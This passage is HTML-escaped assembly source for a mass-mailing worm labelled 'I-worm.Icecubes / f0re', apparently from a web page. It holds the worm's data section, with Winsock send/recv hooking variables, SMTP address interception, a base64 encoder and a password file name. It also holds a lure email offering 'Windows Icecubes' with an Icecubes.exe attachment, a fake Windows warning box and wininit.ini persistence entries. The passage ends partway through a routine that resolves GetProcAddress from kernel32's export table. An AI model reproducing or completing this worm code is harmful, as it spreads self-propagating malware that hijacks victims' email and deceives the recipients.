&lt;/span&gt;wnewapiaddress &lt;span style=""&gt;                &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AUnmapViewOfFile &lt;span style=""&gt;              &lt;/span&gt;db "UnmapViewOfFile",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ACloseHandle &lt;span style=""&gt;                  &lt;/span&gt;db "CloseHandle",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASetFilePointer &lt;span style=""&gt;               &lt;/span&gt;db "SetFilePointer",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASetEndOfFile &lt;span style=""&gt;                 &lt;/span&gt;db "SetEndOfFile",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASetFileTime &lt;span style=""&gt;                  &lt;/span&gt;db "SetFileTime",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; hook_api.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;woldapiaddress &lt;span style=""&gt;                &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; rva_to_raw.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rva2raw &lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; get_api.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;user32address&lt;span style=""&gt;                  &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;wsock32address &lt;span style=""&gt;                &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; create_ini_file.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inifile &lt;span style=""&gt;                       &lt;/span&gt;db "wininit.ini",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;writtensize &lt;span style=""&gt;                   &lt;/span&gt;dw 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inicrlf&lt;span style=""&gt;                        &lt;/span&gt;db 0dh,0ah,0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rename&lt;span style=""&gt;                         &lt;/span&gt;db "[rename]",13,10&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;slashsign &lt;span style=""&gt;                     &lt;/span&gt;db "\",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;equalsign&lt;span style=""&gt;                      &lt;/span&gt;db "=",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;writtenbytes&lt;span style=""&gt;                   &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AWriteFile &lt;span style=""&gt;                    &lt;/span&gt;db "WriteFile",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ws_copy_host_file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetModuleFileName &lt;span style=""&gt;            &lt;/span&gt;db "GetModuleFileNameA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; get_bases.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ALoadLibrary &lt;span style=""&gt;                  &lt;/span&gt;db "LoadLibraryA",0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;k32 &lt;span style=""&gt;                           &lt;/span&gt;db "KERNEL32.dll",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;user32 &lt;span style=""&gt;                        &lt;/span&gt;db "USER32.dll",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;wsock32 &lt;span style=""&gt;                       &lt;/span&gt;db "WSOCK32.dll",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; host_code.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dlgrect &lt;span style=""&gt;                       &lt;/span&gt;RECT &lt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;desktoprect &lt;span style=""&gt;                   &lt;/span&gt;RECT &lt;&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dlgwidth&lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dlgheight &lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;threadid&lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;initflag&lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;okflag&lt;span style=""&gt;                         &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;flag&lt;span style=""&gt;    &lt;/span&gt; &lt;span style=""&gt;                      &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pastvalue&lt;span style=""&gt;                      &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;currentvalue&lt;span style=""&gt;                   &lt;/span&gt;db '2',0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;doneflag&lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value11&lt;span style=""&gt;                        &lt;/span&gt;db "Days",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value12&lt;span style=""&gt;                        &lt;/span&gt;db "Weeks",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value13&lt;span style=""&gt;                        &lt;/span&gt;db "Months",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value14&lt;span style=""&gt;                        &lt;/span&gt;db "Years",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value3&lt;span style=""&gt;                         &lt;/span&gt;db "5000",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;value4&lt;span style=""&gt;                         &lt;/span&gt;db "17",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ic.asm&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;hInst &lt;span style=""&gt;                         &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; write_to_file.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;passwordfile&lt;span style=""&gt;                   &lt;/span&gt;db "icecube.txt",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ws_intercept.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;socketh &lt;span style=""&gt;                       &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;status &lt;span style=""&gt;                        &lt;/span&gt;db 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGlobalAlloc &lt;span style=""&gt;                  &lt;/span&gt;db "GlobalAlloc",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;fromaddress &lt;span style=""&gt;                   &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;fromsize&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcptnumber &lt;span style=""&gt;                    &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcpt_buffer_address &lt;span style=""&gt;           &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rcpt_size_address&lt;span style=""&gt;              &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;totalrcptsize&lt;span style=""&gt;                  &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;fromtag&lt;span style=""&gt;                        &lt;/span&gt;db 'From:',0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;totag&lt;span style=""&gt;                          &lt;/span&gt;db 'To:',0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mimeendtag&lt;span style=""&gt;                     &lt;/span&gt;db '&gt;',0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mimefrom_address &lt;span style=""&gt;              &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mimefromsize&lt;span style=""&gt;                   &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;fromstatus&lt;span style=""&gt;                     &lt;/span&gt;db 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;tostatus&lt;span style=""&gt;                       &lt;/span&gt;db 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;toendtag&lt;span style=""&gt;                       &lt;/span&gt;db 'Subject:',0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mimetosize&lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mimeto_address &lt;span style=""&gt;                &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ws_b64_encoder.inc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;encTable&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;            &lt;/span&gt;db 'wxyz0123456789+/'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ws_attachment&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;wsock2&lt;span style=""&gt;                         &lt;/span&gt;db "Wsock2.dll",0&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;smHnd&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;dd 0&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;                    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dmHnd&lt;span style=""&gt;           &lt;/span&gt;&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;bytesread&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;encodedsize &lt;span style=""&gt;                   &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AReadFile &lt;span style=""&gt;                     &lt;/span&gt;db "ReadFile",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetFileSize &lt;span style=""&gt;                  &lt;/span&gt;db "GetFileSize",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; ws_send_mail&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;email_buffer_address &lt;span style=""&gt;          &lt;/span&gt;dd 0&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;email_size&lt;span style=""&gt;                     &lt;/span&gt;dd 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;datatag &lt;span style=""&gt;                       &lt;/span&gt;db 'DATA',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;emailid&lt;span style=""&gt;                        &lt;/span&gt;db 'Message-ID: &lt;a1234&gt;',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;emailstart&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;db 'Subject: Fw: Windows Icecubes !',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;db 'MIME-Version: 1.0',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;                      &lt;/span&gt;db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;                      &lt;/span&gt;db 0dh,0ah,'--a1234',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;           &lt;/span&gt;db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '----- Original Message -----', 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '&gt;Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '&gt;These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '&gt;the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '&gt;',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db '&gt;Just take a look, cause I think you might want to make some changes ;).',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;db '&gt;',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;             &lt;/span&gt;db 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;            &lt;/span&gt;db 0dh,0ah,'--a1234',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;                      &lt;/span&gt;db 'Content-Type: application/octet-stream; name="Icecubes.exe"'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;                      &lt;/span&gt;db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;emailend&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;db 0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;emailtail&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;                   &lt;/span&gt;db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;endtag&lt;span style=""&gt;                         &lt;/span&gt;db 0Dh,0Ah,2Eh,0Dh,0Ah&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;timedate&lt;span style=""&gt;                       &lt;/span&gt;SYSTEMTIME &lt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AMessageBox &lt;span style=""&gt;                   &lt;/span&gt;db "MessageBoxA",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;AGetSystemTime&lt;span style=""&gt;                 &lt;/span&gt;db "GetSystemTime",0&lt;span style=""&gt;   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;msgmessage &lt;span style=""&gt;                    &lt;/span&gt;db "Windows detected icecubes on your harddrive.",10,13&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db "This may cause the system to stop responding.",10,13&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;                                      &lt;/span&gt;db "Do you want Windows to remove all icecubes ?",0&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;windowtitle &lt;span style=""&gt;                   &lt;/span&gt;db "I-worm.Icecubes / f0re",0&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ASend &lt;span style=""&gt;                         &lt;/span&gt;db "send",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ARecv &lt;span style=""&gt;                         &lt;/span&gt;db "recv",0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;recvbuffer&lt;span style=""&gt;                     &lt;/span&gt;db 100h dup(0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================[ ic-get_gpa.inc ]=============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;GET_GETPROCADDRESS_API_ADDRESS proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;LoadExportTableData:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov edi, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; get exporttable&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, [edi + 3ch]&lt;span style=""&gt;                          &lt;/span&gt;; address from&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov esi, [edi + 78h]&lt;span style=""&gt;                          &lt;/span&gt;; kernel's PE header&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 18h]&lt;span style=""&gt;                &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + numberofnames], eax&lt;span style=""&gt;                &lt;/span&gt;; save number of names&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 1Ch]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table with &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;add eax, [ebp + kernel32address]&lt;span style=""&gt;              &lt;/span&gt;; pointers to funtion&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov [ebp + addressoffunctions], eax&lt;span style=""&gt;           &lt;/span&gt;; addresses&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [esi + 20h]&lt;span style=""&gt;                &lt;/span&gt;; get ra of table 